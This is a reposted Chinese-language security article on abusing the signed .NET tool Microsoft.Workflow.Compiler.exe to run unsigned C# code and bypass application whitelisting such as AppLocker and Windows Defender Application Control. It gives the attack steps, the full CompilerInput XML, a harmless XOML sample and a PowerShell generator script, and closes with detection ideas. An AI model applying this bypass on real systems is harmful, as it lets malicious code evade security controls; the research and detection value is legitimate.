您好,登錄后才能下訂單哦!
如何利用Microsoft.Workflow.Comiler執行未簽名的任意代碼,很多新手對此不是很清楚,為了幫助大家解決這個難題,下面小編將為大家詳細講解,有這方面需求的人可以來學習下,希望你能有所收獲。
Microsoft.Workflow.Comiler.exe是.NET Framework默認自帶的一個實用工具,用戶能夠以XOML工作流文件的形式提供一個序列化工作流來執行任意未簽名的代碼。這種繞過技術跟CaseySmith的msbuild.exe繞過技術的工作機制非常類似。Microsoft.Workflow.Comiler.exe需要兩個命令行參數,第一個參數必須是一個XML文件(由一個序列化CompilerInput對象構成)的路徑,第二個參數則是寫入序列化編譯結果的文件路徑。
執行向量的根節點是Microsoft.Workflow.Comiler.exe調用攻擊者提供的Assembly.Load(byte[])方法,但是僅僅加載編譯文件并不能實現代碼執行,當攻擊者以XOML文件的形式提供C#或VB.Net代碼時,系統在匯編過程中會調用類構造器,這里唯一的限制是類構造器必須派生自System.Workflow.ComponentModel.Activity類。
這種技術可以繞過目前很多安全產品上的代碼完整性控制機制,例如WindowsDefender應用程序控制(包括Windows 10S)、AppLocker以及其他基于應用白名單的產品。但是這里我們并不是要擔心如何繞過應用白名單,我們需要關注的是如何通過已簽名且受信任程度高的內置應用程序來執行任意未簽名的代碼。
1.將制作的XOML文件存儲到目標磁盤中,XOML文件中應包含攻擊者提供的C#或VB.Net代碼以供編譯、加載和調用。攻擊邏輯需在類構造函數中實現,該類派生自System.Workflow.ComponetModel.Activity類。
2.將包含序列化CompilerInput對象的XML文件存儲到目標磁盤中。
3.提供XML路徑,執行Microsoft.Workflow.Comiler.exe。
下面給出的是Microsoft.Workflow.Comiler.exe的調用樣例:
C:\Windows\Microsoft.Net\Framework64\v4.0.30319\Microsoft.Workflow.Compiler.exetest.xml results.xml
<?xml version="1.0"encoding="utf-8"?><CompilerInput xmlns:i="http://www.w3.org/2001/XMLSchema-instance"xmlns="http://schemas.datacontract.org/2004/07/Microsoft.Workflow.Compiler"><filesxmlns:d2p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays"><d2p1:string>test.xoml</d2p1:string></files><parameters xmlns:d2p1="http://schemas.datacontract.org/2004/07/System.Workflow.ComponentModel.Compiler"><assemblyNamesxmlns:d3p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays"xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler"/><compilerOptionsi:nil="true"xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler"/><coreAssemblyFileNamexmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler"></coreAssemblyFileName><embeddedResourcesxmlns:d3p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays"xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler"/><evidencexmlns:d3p1="http://schemas.datacontract.org/2004/07/System.Security.Policy"i:nil="true" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler"/><generateExecutablexmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">false</generateExecutable><generateInMemoryxmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">true</generateInMemory><includeDebugInformationxmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">false</includeDebugInformation><linkedResourcesxmlns:d3p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays"xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler"/><mainClass i:nil="true"xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler"/><outputNamexmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler"></outputName><tempFiles i:nil="true"xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler"/><treatWarningsAsErrorsxmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">false</treatWarningsAsErrors><warningLevelxmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">-1</warningLevel><win32Resource i:nil="true"xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler"/><d2p1:checkTypes>false</d2p1:checkTypes><d2p1:compileWithNoCode>false</d2p1:compileWithNoCode><d2p1:compilerOptionsi:nil="true" /><d2p1:generateCCU>false</d2p1:generateCCU><d2p1:languageToUse>CSharp</d2p1:languageToUse><d2p1:libraryPathsxmlns:d3p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays"i:nil="true" /><d2p1:localAssemblyxmlns:d3p1="http://schemas.datacontract.org/2004/07/System.Reflection"i:nil="true" /><d2p1:mtInfo i:nil="true"/><d2p1:userCodeCCUsxmlns:d3p1="http://schemas.datacontract.org/2004/07/System.CodeDom"i:nil="true" /></parameters></CompilerInput>
<SequentialWorkflowActivityx:Class="MyWorkflow" x:Name="MyWorkflow" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"xmlns="http://schemas.microsoft.com/winfx/2006/xaml/workflow"> <CodeActivity x:Name="codeActivity1" /> <x:Code><![CDATA[ public class Foo : SequentialWorkflowActivity { public Foo() { Console.WriteLine("FOOO!!!!"); } } ]]></x:Code></SequentialWorkflowActivity>
調用Microsoft.Workflow.Compiler.exe之后,它將會編譯其中的C#代碼、加載已編譯的DLL、并調用“Foo”構造器。
我個人比較喜歡去研究關于.NET Framework方法的安全問題,比如說其中一個不安全的方法就是Assembly.Load(byte[])。這里我選擇使用dnSpy工具來進行掃描判斷,并在System.Workflow.ComponentModel.Compiler.WorkflowCompilerInternal.Compile方法中找到了如下所示的代碼段:
分析GenerateLocalAssembly方法的工作流程之后,我發現這個方法最終會調用標準的.NET編譯/加載方法【相關資料】:
僅僅加載一個匯編程序并不能實現任意代碼執行,不過幸運的是,System.Workflow.ComponentModel.Compiler.XomlCompilerHelper.InternalCompileFromDomBatch方法會遍歷所有已加載的匯編程序,然后實例化所有繼承了System.Workflow.ComponentModel.Activity類的實例:
現在,我們幾乎已經看到了任意代碼執行的“希望了”,接下來我們需要弄清楚到底使用哪種代碼格式,才能讓程序的編譯器接收輸入數據以及XOML工作流文件。
當Microsoft.Workflow.Compiler.exe啟動時,會將第一個參數傳遞給ReadCompilerInput方法,該方法接收到文件路徑之后,會將其反序列化為CompilerInput對象:
那么現在的問題就在于,如何才能生成序列化的CompilerInput對象呢?這里我找到了一個名叫Microsoft.Workflow.Compiler.CompilerWrapper.SerializeInputToWrapper的內部方法:
我還專門編寫了一個PowerShell函數來實現XML文件的自動生成:
function New-CompilerInputXml {<#.SYNOPSISCreates a an XML file consisting of aserialized CompilerInput object..DESCRIPTIONNew-CompilerInputXml creates an XML fileconsisting of compiler options. This file is required as the first argument forMicrosoft.Workflow.Compiler.exe..PARAMETER XOMLPathSpecifies the path to the target XOMLfile. This can be a relative or absolute path. This path will be included inthe resulting XML file that New-CompilerInputXml outputs..PARAMETER OutputPathSpecifies the path to whichNew-CompilerInputXml will save the serialized CompilerInput object..EXAMPLENew-CompilerInputXml -XOMLPathC:\Test\foo.xoml -OutputPath test.xmlOutputs a serialized CompilerInput objectto test.xml and specifies a full path to a XOML assembly reference..EXAMPLENew-CompilerInputXml -XOMLPath foo.xoml-OutputPath test.txtOutputs a serialized CompilerInput objectto test.txt and specifies a XOML assembly reference using a relative path. Notethat Microsoft.Workflow.Compiler.exe doesn't care about the extension suppliedin the first argument..OUTPUTSSystem.IO.FileInfoOutputs a FileInfo object to serve asconfirmation that the resulting serialized XML wil was created.#> [OutputType([System.IO.FileInfo])] param ( [String] [ValidateNotNullOrEmpty()] $XOMLPath = 'test.xoml', [Parameter(Mandatory = $True)] [String] [ValidateNotNullOrEmpty()] $OutputPath ) # This assembly won't be loaded by default. We need to load # it in order to get access to the WorkflowCompilerParameters class. Add-Type -AssemblyName 'System.Workflow.ComponentModel' # This class contains the properties we need to specify forMicrosoft.Workflow.Compiler.exe $WFCompilerParams = New-Object -TypeNameWorkflow.ComponentModel.Compiler.WorkflowCompilerParameters # Necessary to get Microsoft.Workflow.Compiler.exe to callAssembly.Load(byte[]) $WFCompilerParams.GenerateInMemory = $True # Full path to Microsoft.Workflow.Compiler.exe that we will load andaccess a non-public method from $WorkflowCompilerPath =[Runtime.InteropServices.RuntimeEnvironment]::GetRuntimeDirectory() +'Microsoft.Workflow.Compiler.exe' # Load the assembly $WFCAssembly = [Reflection.Assembly]::LoadFrom($WorkflowCompilerPath) # This is the helper method that will serialize the CompilerInput objectto disk $SerializeInputToWrapper =[Microsoft.Workflow.Compiler.CompilerWrapper].GetMethod('SerializeInputToWrapper',[Reflection.BindingFlags] 'NonPublic, Static') $TempFile = $SerializeInputToWrapper.Invoke($null,@([Workflow.ComponentModel.Compiler.WorkflowCompilerParameters]$WFCompilerParams, [String[]] @(,$OutputPath))) Move-Item $TempFile $OutputPath -PassThru}
實際上我們只需要改變序列化CompilerInput對象中XOML文件的路徑/文件名即可。
最后,我們需要將生成的C#代碼嵌入到XOML文件中,最后通過Microsoft.Workflow.Compiler.exe來調用我們的惡意函數。
整個過程就是這樣,不過我現在仍不清楚Microsoft.Workflow.Compiler.exe的真正用途到底是什么,而且XOML文件的意義我也不清楚,但是我感覺這個程序可能主要是給微軟內部人員使用的。
1.首先,檢查當前系統中Microsoft.Workflow.Compiler.exe的使用情況,一般來說系統幾乎不會用到這個工具。在Microsoft.Workflow.Compiler.exe每次運行時都產生警報,由于攻擊者可以對該工具進行重命名,因此我們還需要構建相應的檢測規則 。
2.攻擊者在結合Microsoft.Workflow.Compiler.exe運行惡意軟件時,會生成一個csc.exe或vbc.exe子進程,可以通過檢測這兩個子進程來判斷系統的安全狀況。
3.在構建和部署Yara規則時,如果文件中包含CompilerInput標簽,那么該文件則可以標記為“可疑文件”。
看完上述內容是否對您有幫助呢?如果還想對相關知識有進一步的了解或閱讀更多相關文章,請關注億速云行業資訊頻道,感謝您對億速云的支持。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。